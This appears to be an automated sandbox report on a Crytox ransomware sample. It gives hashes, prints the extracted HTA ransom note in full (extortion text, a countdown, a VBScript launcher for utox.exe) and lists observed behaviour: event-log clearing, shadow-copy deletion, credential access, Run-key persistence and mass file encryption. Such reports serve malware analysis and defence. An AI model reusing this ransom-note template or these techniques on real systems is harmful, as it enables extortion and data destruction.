crytox | d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455

max time kernel
81s
max time network
56s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
12/07/2026, 12:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Red-Flaged/d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Size 1.2MB
Sample260712-p5a8dsas8k
SHA256 d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455
MD5 823e4c4e47e8dabe32fc700409a78537
SHA1 f973a6495b33941be62a59ee17085051cfca4719
SHA512 a805c176e0d650bee5270f4da0d7907c828affeb6d351506a13bc42a5550901006f1ca51d39c24bc1d64e86cff5592b81ef0ec3edc2459d282aee85d7a6a2c29
SSDEEP 24576:W88lWqXTOlAiZLkk7g9WWYNranPdeDk7bE0KdYqTAK:WTl3XTOl6ag90cPdX/Ad9TA
TLSH
T12155332AD712E8A5F34B847DB47C9F990824B4E8C4AC7A57873F4D2365735D2A0CC9E2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution crytox impact persistence ransomware stealer upx

Malware Config

Extracted

Path

F:\$RECYCLE.BIN\ReadMe.hta

crytox

Ransom Note

<html><head><meta charset='UTF-8'><title>recovery tool</title><HTA:APPLICATION ICON='msiexec.exe' SINGLEINSTANCE='yes' SysMenu="no"> <script language='JScript'>window.moveTo(50,50);window.resizeTo(screen.width-100,screen.height-100);</script><script>function countdown(dateEnd){var timer,days,hours,minutes,seconds;dateEnd=new Date(dateEnd);dateEnd=dateEnd.getTime();if(isNaN(dateEnd)){return;}timer=setInterval(calculate,1000);function calculate(){var dateStart=new Date();var dateStart=new Date(dateStart.getUTCFullYear(),dateStart.getUTCMonth(),dateStart.getUTCDate(),dateStart.getUTCHours(),dateStart.getUTCMinutes(),dateStart.getUTCSeconds());var timeRemaining=parseInt((dateEnd-dateStart.getTime())/1000);if(timeRemaining>=0){days=parseInt(timeRemaining/86400);timeRemaining=(timeRemaining%86400);hours=parseInt(timeRemaining/3600);timeRemaining=(timeRemaining%3600);minutes=parseInt(timeRemaining/60);timeRemaining=(timeRemaining%60);seconds=parseInt(timeRemaining);document.getElementById("days").innerHTML=parseInt(days,10);document.getElementById("hours").innerHTML=("0" + hours).slice(-2);document.getElementById("minutes").innerHTML=("0"+minutes).slice(-2);document.getElementById("seconds").innerHTML=("0"+seconds).slice(-2);}else{return;}}function display(days,hours,minutes,seconds){}}countdown('07/17/2026');</script><script language="VBScript">Sub RunUTOX( ) set sh = CreateObject("Wscript.shell") sh.Run "%windir%\utox.exe",1 End Sub</script> <style type='text/css'>body {font:15px Tahoma;margin:10px;line-height:25px;background:#000000;color:#FFF} .bold {font-weight:bold;} .mark {color:#ffd731;padding:2px 5px;} img {display:block;margin:auto;} .header {text-align:center;font-size:30px;line-height:50px;font-weight:bold;margin-bottom:20px;} .info {background:#000000;border-left:10px solid #000000;} .alert {background:#FF0000;border-left:10px solid #FF0000;} .private {border:1px dashed #000;background:#FFFFEF;} .note {height:auto;padding-bottom:1px;margin:15px 0;} .note .title {font-weight:bold;text-indent:10px;height:30px;line-height:30px;padding-top:10px;} .note .mark {background:#A2A2B5;} .note ul {margin-top:0;} .note pre {margin-left:15px;line-height:13px;font-size:13px;}.countdown{width:100%;float:left;margin:20px auto}.timer{font:72px Courier;color:#fff;text-align:center}</style></head><body><img src='data:image/jpeg;base64,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'><div class='header'><div>YOUR FILES ARE ENCRYPTED</div></div><div class='bold'>Your PC security is at risk</span></div><div class='bold'>All your files were encrypted and important data was copied to our storage</span></div><div class='bold'>If you do not need your files, then the private key will be deleted within 5 days</span></div><div class='bold'>If you want to restore files and return important data,<input type="button" value="start UTOX" onclick="vbscript:RunUTOX ( )"/> application, contact the operator and enter YOUR ID </span><font color=Lime> WYVSRKUX5</font></div><div class='bold'>ID of your personal operator </span><font color=Blue> 07BF3802C93C42739CFD0328A830801C7182C73D2FFC28E76681C6EFFC85A478CD9B12849523</font></div></div><div class='bold'>If the Operator did not respond within 24 hours or encountered any problem then send an email to our support </span><font color=Blue>[email protected]</font></div><div class='bold'>In the header of the letter, indicate your ID and attach 2-3 infected files for the decryption tool</span></div><div class='bold'>Files should not have important information and should not exceed the size of more than 5 MB</span></div><div class='bold'>As our guarantees, we will return your files restored</span></div><div class='note alert'><div class='title'>Attention!</div><ul><li>Do not rename encrypted files.</li><li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li><li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</div></li><div class='countdown'><p class='timer'><span id='days'></span>:<span id='hours'></span>:<span id='minutes'></span>:<span id='seconds'></span></p></div></ul></div></body></html>

Emails

color=Blue>[email protected]</font></div><div

Signatures

Family: Crytox
Crytox is a ransomware that has been active since 2020.
ransomware crytox

Clears Windows event logs 1 TTPs 64 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
15008	wevtutil.exe
4824	wevtutil.exe
15200	wevtutil.exe
10716	wevtutil.exe
7916	wevtutil.exe
12340	wevtutil.exe
22704	Process not Found
22976	Process not Found
9932	wevtutil.exe
1388	wevtutil.exe
16300	Process not Found
7276	Process not Found
7764	wevtutil.exe
5300	wevtutil.exe
13504	wevtutil.exe
13176	wevtutil.exe
21196	wevtutil.exe
10516	wevtutil.exe
13516	wevtutil.exe
18428	wevtutil.exe
21872	wevtutil.exe
2288	wevtutil.exe
15060	wevtutil.exe
13284	wevtutil.exe
18976	wevtutil.exe
2420	wevtutil.exe
21932	wevtutil.exe
20716	wevtutil.exe
15652	wevtutil.exe
8888	wevtutil.exe
22604	wevtutil.exe
5020	wevtutil.exe
8424	Process not Found
17984	wevtutil.exe
19628	wevtutil.exe
7096	wevtutil.exe
18832	wevtutil.exe
21908	wevtutil.exe
11456	wevtutil.exe
15056	wevtutil.exe
18932	wevtutil.exe
9108	wevtutil.exe
18984	wevtutil.exe
7832	Process not Found
14600	wevtutil.exe
21236	wevtutil.exe
19292	wevtutil.exe
21720	Process not Found
12648	wevtutil.exe
15232	wevtutil.exe
6136	wevtutil.exe
3304	wevtutil.exe
14148	wevtutil.exe
8900	wevtutil.exe
9904	wevtutil.exe
6920	wevtutil.exe
4724	wevtutil.exe
13096	Process not Found
18240	Process not Found
1276	Process not Found
5084	Process not Found
4908	wevtutil.exe
8244	wevtutil.exe
11968	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (10591) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Deletes itself 1 IoCs

pid	Process
948	svchost.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\ReadMe.hta	explorer.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Word\STARTUP\ReadMe.hta	explorer.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\open = "\"C:\\ReadMe.hta\""	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe

Drops desktop.ini file(s) 29 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\AccountPictures\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\Libraries\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\Videos\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\Music\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	explorer.exe
File opened for modification	C:\$Recycle.Bin\S-1-5-21-3797332335-34111092-3597280141-1000\desktop.ini	explorer.exe
File opened for modification	C:\Program Files (x86)\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	explorer.exe
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\Documents\desktop.ini	explorer.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI	explorer.exe
File opened for modification	C:\Program Files\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\Music\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\Pictures\desktop.ini	explorer.exe
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-3797332335-34111092-3597280141-1000\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\Searches\desktop.ini	explorer.exe
File opened for modification	C:\Users\Public\Downloads\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\Links\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	explorer.exe
File opened for modification	C:\Users\Admin\Videos\desktop.ini	explorer.exe

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
7916	wevtutil.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral26/memory/2348-1-0x0000000140000000-0x00000001402F7000-memory.dmp	upx
behavioral26/memory/2348-4-0x0000000140000000-0x00000001402F7000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\it\UIAutomationClientSideProviders.resources.dll	explorer.exe
File created	C:\Program Files\Common Files\microsoft shared\ink\ka-GE\ReadMe.hta	explorer.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\TRANSLAT\ENES\ReadMe.hta	explorer.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\ru\System.Windows.Forms.Design.resources.dll	explorer.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\api-ms-win-crt-math-l1-1-0.dll	explorer.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\EXP_PDF.DLL WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\nb-no\ui-strings.js WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\it\WindowsBase.resources.dll WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files\Mozilla Firefox\mozavutil.dll WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.15\ReachFramework.dll WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Trust Protection Lists\Mu\Cryptomining.DATA WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\CONVERT\RM.DLL WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\js\plugin.js WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\playlist\youtube.luac	explorer.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\Locales\ka.pak WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ru.txt	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\viewer\nls\ja-jp\ui-strings.js	explorer.exe
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\7.0.16\es\System.Windows.Forms.Primitives.resources.dll WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy.jar	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ccme_base_non_fips.dll	explorer.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.SecHealthUI_1000.26100.1.0_x64__8wekyb3d8bbwe\Assets\contrast-black\WindowsSecurityWideTile.scale-125_contrast-black.png	explorer.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Web Server Extensions\16\ReadMe.hta	explorer.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\SPPRedist.msi WYVSRKUX5.waiting	explorer.exe
File created	C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\ResiliencyLinks\ReadMe.hta	explorer.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\Infragistics2.Win.Misc.v11.1.dll WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\selector.js WYVSRKUX5.waiting	explorer.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\js\nls\cs-cz\ReadMe.hta	explorer.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.106\ResiliencyLinks\Locales\pt-PT.pak.DATA	explorer.exe
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\SupplementalDictionaries\en_US\Excluded.txt	explorer.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\122.0.2365.106\EBWebView\x86\EmbeddedBrowserWebView.dll WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\msvcp140_codecvt_ids.dll	explorer.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\spu\liblogo_plugin.dll WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Fonts\private\MSUIGHUR.TTF WYVSRKUX5.waiting	explorer.exe
File opened for modification	C:\Program Files (x86)\Common Files\System\msadc\es-ES\msadcor.dll.mui	explorer.exe
File opened for modification	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\it\UIAutomationTypes.resources.dll	explorer.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\mip_protection_sdk.dll	explorer.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Pester.psm1	explorer.exe
